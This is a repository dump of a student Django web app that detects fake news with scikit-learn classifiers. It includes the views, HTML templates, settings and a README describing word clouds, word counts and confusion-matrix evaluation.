├── .gitattributes ├── README.md ├── __init__.py ├── __pycache__ ├── __init__.cpython-310.pyc ├── settings.cpython-310.pyc ├── urls.cpython-310.pyc └── wsgi.cpython-310.pyc ├── asgi.py ├── datasets ├── news-error.csv ├── news.csv ├── news0.csv ├── news1.csv └── news2.csv ├── db.sqlite3 ├── manage.py ├── news-sample.csv ├── news.csv ├── reader ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-310.pyc │ ├── apps.cpython-310.pyc │ ├── models.cpython-310.pyc │ ├── urls.cpython-310.pyc │ └── views.cpython-310.pyc ├── admin.py ├── apps.py ├── migrations │ ├── __init__.py │ └── __pycache__ │ │ └── __init__.cpython-310.pyc ├── models.py ├── static │ ├── FAKE-wordcloud.png │ ├── FAKE-wordcount.png │ ├── REAL-wordcloud.png │ ├── REAL-wordcount.png │ ├── confusion_matrix_with_normalize_dtc.png │ ├── confusion_matrix_with_normalize_lr.png │ ├── confusion_matrix_with_normalize_rfc.png │ ├── confusion_matrix_without_normalize_dtc.png │ ├── confusion_matrix_without_normalize_lr.png │ ├── confusion_matrix_without_normalize_rfc.png │ ├── css │ │ └── bootstrap.min.css │ ├── img │ │ ├── Fake-PNG-File.png │ │ ├── fake.png │ │ └── real.png │ ├── js │ │ ├── bootstrap.min.js │ │ ├── jquery.min.js │ │ └── popper.min.js │ └── visualize.png ├── templates │ ├── base.html │ ├── error.html │ ├── exploreconfusionmatrix.html │ ├── exploreconfusionmatrixnormlize.html │ ├── explorecount.html │ ├── explorewordcloud.html │ ├── explorewordcount.html │ ├── index.html │ ├── reuploadfile.html │ └── sidebar.html ├── tests.py ├── urls.py └── views.py ├── settings.py ├── stopwords ├── urls.py └── wsgi.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Fake News Detection Using Machine Learning 2 | 3 | ### Overview 4 | 5 | 📰🚫 Fake news is a significant issue in today's digital landscape. This project aims to tackle this problem by developing a system that can effectively detect fake news using machine learning techniques. 6 | 7 | ![Fake News Detection](https://harshag.vercel.app/_next/image?url=%2F_next%2Fstatic%2Fmedia%2FFake_News_Detection_using_Machine_Learning.fbe6865a.png&w=1080&q=75) 8 | 9 | ### Key Features 10 | 11 | - ***HTML/CSS Usage***: Utilized HTML/CSS for designing the user interface, ensuring an attractive and responsive layout. 🎨 12 | - ***Machine Learning Algorithms***: 13 | - Decision Tree: Implemented Decision Tree algorithm for classification of news articles. 🌳 14 | - Random Forest: Utilized Random Forest for ensemble learning to improve the accuracy of fake news detection. 🌲 15 | - Logistic Regression Analysis: Employed Logistic Regression for binary classification of news articles. 📈 16 | - ***Text Analysis***: 17 | - WordCloud: Generated WordClouds to visualize the most frequent words in both fake and real news articles. ☁️ 18 | - Word Count: Calculated word count in news articles for feature extraction and analysis. 🔢 19 | - ***Evaluation Metrics***: 20 | - Confusion Matrix: Utilized Confusion Matrix to evaluate the performance of the machine learning models in classifying fake and real news articles. 📊 21 | 22 | ### Document 📄 23 | 24 | Project results and related [documents](https://drive.google.com/file/d/1LQZDPBiEmd4aYmmc1j1u7ksAM-XfVGhB/view?usp=drive_link) 25 | 26 | ### Technologies Used 27 | 28 | - HTML/CSS 🌐 29 | - JavaScript ⚙️ 30 | - Python 🐍 31 | - Django 🕸️ 32 | 33 | ### Contact Information 34 | 35 | For inquiries or feedback, please contact **[Harsha G](mailto:harshag3106@gmail.com)** 36 | 37 | ### Contributing 38 | 39 | 🛠️ Contributions are welcome! Feel free to open an issue or submit a pull request with any improvements or bug fixes. 40 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/__init__.py -------------------------------------------------------------------------------- /__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/settings.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/__pycache__/settings.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/urls.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/__pycache__/urls.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/wsgi.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/__pycache__/wsgi.cpython-310.pyc -------------------------------------------------------------------------------- /asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for fakenewsdetection project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'fakenewsdetection.settings') 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /db.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/db.sqlite3 -------------------------------------------------------------------------------- /manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'fakenewsdetection.settings') 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /reader/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/__init__.py -------------------------------------------------------------------------------- /reader/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /reader/__pycache__/apps.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/__pycache__/apps.cpython-310.pyc -------------------------------------------------------------------------------- /reader/__pycache__/models.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/__pycache__/models.cpython-310.pyc -------------------------------------------------------------------------------- /reader/__pycache__/urls.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/__pycache__/urls.cpython-310.pyc -------------------------------------------------------------------------------- /reader/__pycache__/views.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/__pycache__/views.cpython-310.pyc -------------------------------------------------------------------------------- /reader/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /reader/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class ReaderConfig(AppConfig): 5 | name = 'reader' 6 | -------------------------------------------------------------------------------- /reader/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/migrations/__init__.py -------------------------------------------------------------------------------- /reader/migrations/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/migrations/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /reader/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /reader/static/FAKE-wordcloud.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/static/FAKE-wordcloud.png -------------------------------------------------------------------------------- /reader/static/FAKE-wordcount.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/static/FAKE-wordcount.png -------------------------------------------------------------------------------- /reader/static/REAL-wordcloud.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/static/REAL-wordcloud.png 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e.attributes=le({},E,e.attributes),e.styles=le({},m,e.styles),e.arrowStyles=le({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return V(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&V(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,n,i){var r=L(i,t,e,o.positionFixed),p=O(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),V(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAcceleration:void 0}}},ge}); 5 | //# sourceMappingURL=popper.min.js.map 6 | -------------------------------------------------------------------------------- /reader/static/visualize.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imharshag/Fake-news-Detection-using-ML/543d32a4e494e8a80d62343d1497472bcb0b9c9c/reader/static/visualize.png -------------------------------------------------------------------------------- /reader/templates/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Fake news detection using machine learning 5 | 6 | 7 | 8 | 9 | 10 | 11 | 16 | 17 | 18 |
19 |
20 | {% include 'sidebar.html' %} 21 |
22 |
23 |

Fake news detection using machine learning

24 | {% block content %} 25 | {% endblock %} 26 |
27 |
28 | {% block jsscript %} 29 | {% endblock %} 30 | 153 | 154 | -------------------------------------------------------------------------------- /reader/templates/error.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% load static %} 3 | {% block content %} 4 |
5 |
6 | {{message}} 7 |

Please check dataset file damage or not in correct format

8 |
9 |
10 | {% endblock %} -------------------------------------------------------------------------------- /reader/templates/exploreconfusionmatrix.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% load static %} 3 | {% block content %} 4 |
5 |
6 |
7 | {% for key,value in datacount %} 8 | 9 |
10 |
11 |
{{key}}
12 |

Count: {{value}}

13 |
14 |
15 |
16 | 17 |
18 | {% endfor %} 19 |
20 |
21 |
22 |
23 |

Confusion Matrix without normalize

24 |

{{atypelabel}} accuracy: {{accuracy}}

25 | 26 |
27 |
28 |
29 | {% endblock %} 30 | {% block jsscript %} 31 | {% endblock %} -------------------------------------------------------------------------------- /reader/templates/exploreconfusionmatrixnormlize.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% load static %} 3 | {% block content %} 4 |
5 |
6 |
7 | {% for key,value in datacount %} 8 | 9 |
10 |
11 |
{{key}}
12 |

Count: {{value}}

13 |
14 |
15 |
16 | 17 |
18 | {% endfor %} 19 |
20 |
21 |
22 |
23 |

Confusion Matrix with normalize

24 |

{{atypelabel}} accuracy: {{accuracy}}

25 | 26 |
27 |
28 |
29 | {% endblock %} 30 | {% block jsscript %} 31 | {% endblock %} -------------------------------------------------------------------------------- /reader/templates/explorecount.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% load static %} 3 | {% block content %} 4 |
5 | {% for key,value in datacount %} 6 |
7 |
8 |
9 |
10 |
{{key}}
11 |

Count: {{value}}

12 |
13 |
14 |
15 | 16 |
17 |
18 |
19 | {% endfor %} 20 |
21 |
22 | 23 |
24 |
25 |
26 | {% endblock %} 27 | {% block jsscript %} 28 | {% endblock %} -------------------------------------------------------------------------------- /reader/templates/explorewordcloud.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% load static %} 3 | {% block content %} 4 |
5 | {% for key,value in datacount %} 6 |
7 |
8 |
9 |
10 |
{{key}}
11 |

Count: {{value}}

12 |
13 |
14 |
15 | 16 |
17 |
18 |
19 |
Word Cloud
20 | 21 |
22 |
23 | {% endfor %} 24 |
25 | {% endblock %} 26 | {% block jsscript %} 27 | {% endblock %} -------------------------------------------------------------------------------- /reader/templates/explorewordcount.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% load static %} 3 | {% block content %} 4 |
5 | {% for key,value in datacount %} 6 |
7 |
8 |
9 |
10 |
{{key}}
11 |

Count: {{value.total}}

12 |
13 |
14 |
15 | 16 |
17 |
18 |
19 |
20 |
Word Count
21 | 22 |
23 |
24 | 25 | 26 | 27 | 28 | 29 | {% for v in value.frequency %} 30 | 31 | {% endfor %} 32 | 33 |
WordFrequency
{{v.word}}{{v.frequency}}
34 |
35 |
36 |
37 | {% endfor %} 38 |
39 | {% endblock %} 40 | {% block jsscript %} 41 | {% endblock %} -------------------------------------------------------------------------------- /reader/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% load static %} 3 | {% block content %} 4 |
5 |
6 |
7 | 8 |
9 | 10 |
11 | 12 | 13 |
14 |
15 | 16 |
17 |
18 | {% if search %} 19 |
Search results for {{search}},found {{rcount}} news
20 | {% endif %} 21 |
22 | {% for value in data %} 23 |
24 |
25 |
26 |
27 |
{{value.title}}
28 |

{{value.description}}

29 |
30 |
31 |
32 | 33 |
34 |
35 |
36 | {% endfor %} 37 |
38 |

Loading....

39 | 40 | 41 | {% endblock %} 42 | {% block jsscript %} 43 | 67 | 131 | {% endblock %} -------------------------------------------------------------------------------- /reader/templates/reuploadfile.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% load static %} 3 | {% block content %} 4 |
5 |

Dataset File Re-upload

6 |
7 | {% csrf_token %} 8 |
9 | 10 |

11 |

12 |
13 |
14 |
Format of Data Sample
15 |
16 |
17 |
18 |

19 | Click to expand/collapse table 20 |

21 |
22 |
23 | 24 | 25 | {% for k,v1 in head.0 %} 26 | 27 | {% endfor %} 28 | 29 | {% for v in head %} 30 | 31 | {% for k,v1 in v %} 32 | 33 | {% endfor %} 34 | 35 | {% endfor %} 36 |
{{k}}
{{v1}}
37 |
38 |
39 |
40 |
41 |
42 | {% endblock %} 43 | {% block jsscript %} 44 | 88 | {% endblock %} -------------------------------------------------------------------------------- /reader/templates/sidebar.html: -------------------------------------------------------------------------------- 1 |
2 | Home 3 | Reupload Dataset 4 | Explore 5 | 24 |
-------------------------------------------------------------------------------- /reader/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /reader/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | from reader import views 3 | 4 | urlpatterns = [ 5 | path('', views.home, name="Home"), 6 | path('reuploadfile',views.reuploadfile,name="reuploadfile"), 7 | path('savefile',views.savefile,name="savefile"), 8 | path('next', views.loadcontent, name="Loadcontent"), 9 | path('explore-count', views.explorecount, name="explorecount"), 10 | path('explore-word-cloud',views.explorewordcloud,name="explorewordcloud"), 11 | path('explore-word-count',views.explorewordcount,name="explorewordcount"), 12 | path('explore-confusion-matrix/',views.exploreconfusionmatrix,name="exploreconfusionmatrix"), 13 | path('explore-confusion-matrix-normalize/',views.exploreconfusionmatrixnormlize,name="exploreconfusionmatrixnormlize"), 14 | ] -------------------------------------------------------------------------------- /reader/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | from django.conf import settings 3 | import pandas as pd 4 | from django.http import HttpResponse 5 | from django.http import JsonResponse 6 | import matplotlib.pyplot as plt 7 | from pathlib import Path 8 | from wordcloud import WordCloud 9 | from nltk import tokenize 10 | import nltk 11 | import seaborn 12 | import string 13 | from sklearn import metrics 14 | import itertools 15 | from sklearn.pipeline import Pipeline 16 | import numpy as np 17 | from sklearn.feature_extraction.text import CountVectorizer 18 | from sklearn.feature_extraction.text import TfidfTransformer 19 | from sklearn.linear_model import LogisticRegression 20 | from sklearn.tree import DecisionTreeClassifier 21 | from sklearn.ensemble import RandomForestClassifier 22 | 23 | from sklearn.model_selection import train_test_split 24 | import os 25 | from datetime import datetime 26 | 27 | plt.switch_backend('agg') 28 | 29 | filename="news.csv" 30 | def reuploadfile(request): 31 | context={} 32 | df= pd.read_csv("news-sample.csv") 33 | 34 | context = { 35 | "head": [], 36 | } 37 | for v in df.head().to_dict('records'): 38 | context['head'].append(v.items()) 39 | 40 | return render(request, 'reuploadfile.html', context=context) 41 | 42 | def savefile(request): 43 | try: 44 | file=request.FILES['file1'] 45 | output_file = open(filename, "wb") 46 | output_file.write(file.read()) 47 | output_file.close() 48 | dt_epoch = datetime.now().timestamp() 49 | os.utime(filename, (dt_epoch, dt_epoch)) 50 | return JsonResponse({"success":1,"message":"File Uploaded Successfully."}); 51 | except Exception as e: 52 | return JsonResponse({"success":0,"message":str(e)}); 53 | 54 | # Create your views here. 55 | def home(request): 56 | try: 57 | page = request.GET.get('page', 1) 58 | search = request.GET.get('search', "") 59 | df= pd.read_csv(filename) 60 | context = { 61 | "success": True, 62 | "data": [], 63 | "search": search 64 | } 65 | if search: 66 | df["Indexes"]= df["text"].str.find(search) 67 | df = df[df["Indexes"] != -1] 68 | context['rcount']=len(df) 69 | 70 | 71 | # seprating the necessary data 72 | titles=list(df.title) 73 | descs=list(df.text) 74 | labels=list(df.label) 75 | for i in range(0,5): 76 | context["data"].append({ 77 | "title": titles[i], 78 | "description": descs[i][0:100]+"...", 79 | "label":labels[i].lower() 80 | }) 81 | # send the news feed to template in context 82 | return render(request, 'index.html', context=context) 83 | except Exception as e: 84 | return render(request, 'error.html', context={'message':str(e)}) 85 | 86 | def loadcontent(request): 87 | try: 88 | page = int(request.GET.get('page', 1)) 89 | search = request.GET.get('search', None) 90 | df= pd.read_csv(filename) 91 | if search: 92 | df["Indexes"]= df["text"].str.find(search) 93 | df = df[df["Indexes"] != -1] 94 | 95 | context = { 96 | "success": True, 97 | "data": [], 98 | "search": search 99 | } 100 | # seprating the necessary data 101 | titles=list(df.title) 102 | descs=list(df.text) 103 | labels=list(df.label) 104 | for i in range((page-1)*5,((page-1)*5)+5): 105 | context["data"].append({ 106 | "title": titles[i], 107 | "description": descs[i][0:100]+"...", 108 | "label":labels[i].lower() 109 | }) 110 | 111 | return JsonResponse(context) 112 | except Exception as e: 113 | return JsonResponse({"success":False,"message":str(e)}) 114 | 115 | 116 | 117 | def explorecount(request): 118 | try: 119 | df= pd.read_csv(filename) 120 | data = df 121 | dcount=data.groupby(['label'])['label'].agg(list) 122 | datacount={} 123 | for i in dcount: 124 | datacount[i[0]]=len(i) 125 | data.groupby(['label'])['label'].count().plot(kind="bar") 126 | plt.savefig(settings.STATIC_ROOT+'\\visualize.png') 127 | plt.close() 128 | 129 | context={'datacount':datacount.items(),'visualize':'visualize.png'} 130 | 131 | return render(request, 'explorecount.html', context=context) 132 | except Exception as e: 133 | return render(request, 'error.html', context={'message':str(e)}) 134 | 135 | def punctuation_removal(text): 136 | all_list = [char for char in text if char not in string.punctuation] 137 | clean_str = ''.join(all_list) 138 | return clean_str 139 | 140 | def cleandata(data): 141 | data['text'] = data['text'].apply(punctuation_removal) 142 | stop = open("stopwords", 'r').read() 143 | stop = stop.splitlines() 144 | data['text'] = data['text'].apply(lambda x: ' '.join([word for word in x.split() if word.lower() not in (stop)])) 145 | return data 146 | 147 | 148 | def explorewordcloud(request): 149 | try: 150 | df= pd.read_csv(filename) 151 | data=cleandata(df) 152 | dcount=data.groupby(['label'])['label'].agg(list) 153 | datacount={} 154 | for i in dcount: 155 | datacount[i[0]]= len(i) 156 | fake_data = data[data["label"] == i[0]] 157 | all_words = ' '.join([text for text in fake_data.text]) 158 | wordcloud = WordCloud(width= 800, height= 500, 159 | max_font_size = 110, 160 | collocations = False).generate(all_words) 161 | 162 | plt.imshow(wordcloud, interpolation='bilinear') 163 | plt.axis("off") 164 | plt.savefig(settings.STATIC_ROOT+'\\'+i[0]+'-wordcloud.png') 165 | plt.close() 166 | 167 | context={'datacount':datacount.items()} 168 | 169 | return render(request, 'explorewordcloud.html', context=context) 170 | except Exception as e: 171 | return render(request, 'error.html', context={'message':str(e)}) 172 | 173 | def explorewordcount(request): 174 | try: 175 | df= pd.read_csv(filename) 176 | data=cleandata(df) 177 | dcount=data.groupby(['label'])['label'].agg(list) 178 | datacount={} 179 | for i in dcount: 180 | datacount[i[0]]={'total':len(i)} 181 | token_space = tokenize.WhitespaceTokenizer() 182 | text=data[data["label"] == i[0]] 183 | column_text="text" 184 | quantity=20 185 | all_words = ' '.join([text for text in text[column_text]]) 186 | token_phrase = token_space.tokenize(all_words) 187 | frequency = nltk.FreqDist(token_phrase) 188 | 189 | datacount[i[0]]['frequency']=[] 190 | 191 | df_frequency = pd.DataFrame({"Word": list(frequency.keys()), 192 | "Frequency": list(frequency.values())}) 193 | df_frequency = df_frequency.nlargest(columns = "Frequency", n = quantity) 194 | 195 | for index,d in df_frequency.iterrows(): 196 | datacount[i[0]]['frequency'].append({'word':d["Word"],'frequency':d["Frequency"]}) 197 | 198 | ax = seaborn.barplot(data = df_frequency, x = "Word", y = "Frequency", color = 'blue') 199 | ax.set(ylabel = "Count") 200 | plt.xticks(rotation='vertical') 201 | plt.savefig(settings.STATIC_ROOT+'\\'+i[0]+'-wordcount.png') 202 | plt.close() 203 | 204 | context={'datacount':datacount.items()} 205 | 206 | return render(request, 'explorewordcount.html', context=context) 207 | except Exception as e: 208 | return render(request, 'error.html', context={'message':str(e)}) 209 | 210 | def plot_confusion_matrix(atype,cm, classes, 211 | normalize=False, 212 | title='Confusion matrix', 213 | cmap=plt.cm.Blues): 214 | 215 | plt.imshow(cm, interpolation='nearest', cmap=cmap) 216 | plt.title(title) 217 | plt.colorbar() 218 | tick_marks = np.arange(len(classes)) 219 | plt.xticks(tick_marks, classes, rotation=45) 220 | plt.yticks(tick_marks, classes) 221 | if normalize: 222 | cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis] 223 | 224 | thresh = cm.max() / 2. 225 | 226 | for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])): 227 | plt.text(j, i, cm[i, j], 228 | horizontalalignment="center", 229 | color="white" if cm[i, j] > thresh else "black") 230 | 231 | plt.tight_layout() 232 | plt.ylabel('True label') 233 | plt.xlabel('Predicted label') 234 | if normalize: 235 | plt.savefig(settings.STATIC_ROOT+'\\confusion_matrix_with_normalize_'+atype+'.png') 236 | else: 237 | plt.savefig(settings.STATIC_ROOT+'\\confusion_matrix_without_normalize_'+atype+'.png') 238 | plt.close() 239 | 240 | def exploreconfusionmatrix(request,atype): 241 | try: 242 | df= pd.read_csv(filename) 243 | data=cleandata(df) 244 | dcount=data.groupby(['label'])['label'].agg(list) 245 | datacount={} 246 | for i in dcount: 247 | datacount[i[0]]=len(i) 248 | 249 | context={'datacount':datacount.items()} 250 | 251 | context['atype']=atype 252 | X_train,X_test,y_train,y_test = train_test_split(data['text'], data.label, test_size=0.2, random_state=42) 253 | if atype=="lr": 254 | #Logistic regression 255 | context['atypelabel']="Logistic regression" 256 | pipe = Pipeline([('vect', CountVectorizer()), 257 | ('tfidf', TfidfTransformer()), 258 | ('model', LogisticRegression())])# Fitting the model 259 | 260 | 261 | 262 | model = pipe.fit(X_train, y_train)# Accuracy 263 | prediction = model.predict(X_test) 264 | context['accuracy']= format(round(metrics.accuracy_score(y_test, prediction)*100,2))+"%" 265 | 266 | cm = metrics.confusion_matrix(y_test, prediction) 267 | 268 | elif atype=="dtc": 269 | context['atypelabel']="Decision Tree Classifier" 270 | pipe = Pipeline([('vect', CountVectorizer()), 271 | ('tfidf', TfidfTransformer()), 272 | ('model', DecisionTreeClassifier(criterion= 'entropy', 273 | max_depth = 20, 274 | splitter='best', 275 | random_state=42))]) 276 | # Fitting the model 277 | model = pipe.fit(X_train, y_train)# Accuracy 278 | prediction = model.predict(X_test) 279 | context['accuracy']=format(round(metrics.accuracy_score(y_test, prediction)*100,2)) 280 | 281 | cm = metrics.confusion_matrix(y_test, prediction) 282 | 283 | elif atype=="rfc": 284 | context['atypelabel']="Random Forest Classifier" 285 | pipe = Pipeline([('vect', CountVectorizer()), 286 | ('tfidf', TfidfTransformer()), 287 | ('model', RandomForestClassifier(n_estimators=50, criterion="entropy"))]) 288 | model = pipe.fit(X_train, y_train) 289 | prediction = model.predict(X_test) 290 | context['accuracy']=format(round(metrics.accuracy_score(y_test, prediction)*100,2)) 291 | cm = metrics.confusion_matrix(y_test, prediction) 292 | 293 | plot_confusion_matrix(atype,cm, classes=['Fake', 'Real']) 294 | 295 | return render(request, 'exploreconfusionmatrix.html', context=context) 296 | except Exception as e: 297 | return render(request, 'error.html', context={'message':str(e)}) 298 | 299 | def exploreconfusionmatrixnormlize(request,atype): 300 | try: 301 | df= pd.read_csv(filename) 302 | data=cleandata(df) 303 | dcount=data.groupby(['label'])['label'].agg(list) 304 | datacount={} 305 | for i in dcount: 306 | datacount[i[0]]=len(i) 307 | 308 | context={'datacount':datacount.items()} 309 | context['atype']=atype 310 | X_train,X_test,y_train,y_test = train_test_split(data['text'], data.label, test_size=0.2, random_state=42) 311 | 312 | if atype=="lr": 313 | #Logistic regression 314 | context['atypelabel']="Logistic regression" 315 | pipe = Pipeline([('vect', CountVectorizer()), 316 | ('tfidf', TfidfTransformer()), 317 | ('model', LogisticRegression())])# Fitting the model 318 | 319 | 320 | 321 | model = pipe.fit(X_train, y_train)# Accuracy 322 | prediction = model.predict(X_test) 323 | context['accuracy']= format(round(metrics.accuracy_score(y_test, prediction)*100,2))+"%" 324 | 325 | cm = metrics.confusion_matrix(y_test, prediction) 326 | 327 | elif atype=="dtc": 328 | context['atypelabel']="Decision Tree Classifier" 329 | pipe = Pipeline([('vect', CountVectorizer()), 330 | ('tfidf', TfidfTransformer()), 331 | ('model', DecisionTreeClassifier(criterion= 'entropy', 332 | max_depth = 20, 333 | splitter='best', 334 | random_state=42))]) 335 | # Fitting the model 336 | model = pipe.fit(X_train, y_train)# Accuracy 337 | prediction = model.predict(X_test) 338 | context['accuracy']=format(round(metrics.accuracy_score(y_test, prediction)*100,2)) 339 | 340 | cm = metrics.confusion_matrix(y_test, prediction) 341 | 342 | elif atype=="rfc": 343 | context['atypelabel']="Random Forest Classifier" 344 | pipe = Pipeline([('vect', CountVectorizer()), 345 | ('tfidf', TfidfTransformer()), 346 | ('model', RandomForestClassifier(n_estimators=50, criterion="entropy"))]) 347 | model = pipe.fit(X_train, y_train) 348 | prediction = model.predict(X_test) 349 | context['accuracy']=format(round(metrics.accuracy_score(y_test, prediction)*100,2)) 350 | cm = metrics.confusion_matrix(y_test, prediction) 351 | 352 | plot_confusion_matrix(atype,cm, classes=['Fake', 'Real'],normalize=True) 353 | 354 | return render(request, 'exploreconfusionmatrixnormlize.html', context=context) 355 | except Exception as e: 356 | return render(request, 'error.html', context={'message':str(e)}) -------------------------------------------------------------------------------- /settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for fakenewsdetection project. 3 | 4 | Generated by 'django-admin startproject' using Django 3.1.14. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.1/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/3.1/ref/settings/ 11 | """ 12 | 13 | from pathlib import Path 14 | import os 15 | 16 | # Build paths inside the project like this: BASE_DIR / 'subdir'. 17 | BASE_DIR = Path(__file__).resolve().parent.parent 18 | 19 | 20 | # Quick-start development settings - unsuitable for production 21 | # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ 22 | 23 | # SECURITY WARNING: keep the secret key used in production secret! 24 | SECRET_KEY = 'mu0u&a6=kj@+yzxwh_d3+-2hfav0t(%o7bv!wj^g^u^+7s4=jg' 25 | 26 | # SECURITY WARNING: don't run with debug turned on in production! 27 | DEBUG = True 28 | 29 | ALLOWED_HOSTS = [] 30 | 31 | 32 | # Application definition 33 | 34 | INSTALLED_APPS = [ 35 | 'django.contrib.contenttypes', 36 | 'django.contrib.sessions', 37 | 'django.contrib.messages', 38 | 'django.contrib.staticfiles', 39 | 'reader', 40 | ] 41 | 42 | MIDDLEWARE = [ 43 | 'django.middleware.security.SecurityMiddleware', 44 | 'django.contrib.sessions.middleware.SessionMiddleware', 45 | 'django.middleware.common.CommonMiddleware', 46 | 'django.middleware.csrf.CsrfViewMiddleware', 47 | 'django.contrib.messages.middleware.MessageMiddleware', 48 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 49 | ] 50 | 51 | ROOT_URLCONF = 'fakenewsdetection.urls' 